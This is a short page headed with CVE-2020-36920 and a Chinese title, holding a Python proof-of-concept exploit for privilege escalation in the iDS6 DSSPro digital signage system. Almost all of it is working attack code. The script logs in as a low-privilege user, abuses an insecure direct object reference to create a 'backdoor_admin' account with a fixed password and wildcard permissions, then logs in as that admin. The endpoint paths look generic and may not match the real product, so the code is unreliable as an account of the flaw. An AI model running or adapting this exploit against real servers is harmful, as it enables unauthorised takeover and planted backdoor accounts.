CVE-2020-36920 | iDS6 DSSPro数字标牌系统权限提升漏洞

# CVE-2020-36920 PoC - iDS6 DSSPro Privilege Escalation # Author: VulnCheck # Type: Improper Access Control / IDOR import requests import json TARGET = "https://vulnerable-ids6-server.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit(): # Step 1: Authenticate with low privilege account session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } login_resp = session.post(f"{TARGET}/api/auth/login", json=login_data) if login_resp.status_code != 200: print("[-] Authentication failed") return None print("[+] Successfully authenticated as low privilege user") # Step 2: Exploit console JavaScript functions for privilege escalation # Create admin user via insecure direct object reference create_user_payload = { "username": "backdoor_admin", "password": "P@ssw0rd123!", "role": "admin", "permissions": ["*"], "userId": 1 # IDOR - directly referencing admin object } # Alternative: Modify existing user role via JavaScript console escalate_payload = { "userId": 2, "role": "admin", "originalRole": "user" } # Send request through console JavaScript API exploit_resp = session.post( f"{TARGET}/api/users/create", json=create_user_payload, headers={"X-Requested-With": "XMLHttpRequest"} ) if exploit_resp.status_code == 200: print("[+] Privilege escalation successful!") print("[+] Created admin user: backdoor_admin") # Step 3: Login with new admin account admin_login = session.post( f"{TARGET}/api/auth/login", json={"username": "backdoor_admin", "password": "P@ssw0rd123!"} ) if admin_login.status_code == 200: print("[+] Full system compromise achieved") return session else: print(f"[-] Exploitation failed: {exploit_resp.status_code}") return None if __name__ == "__main__": exploit()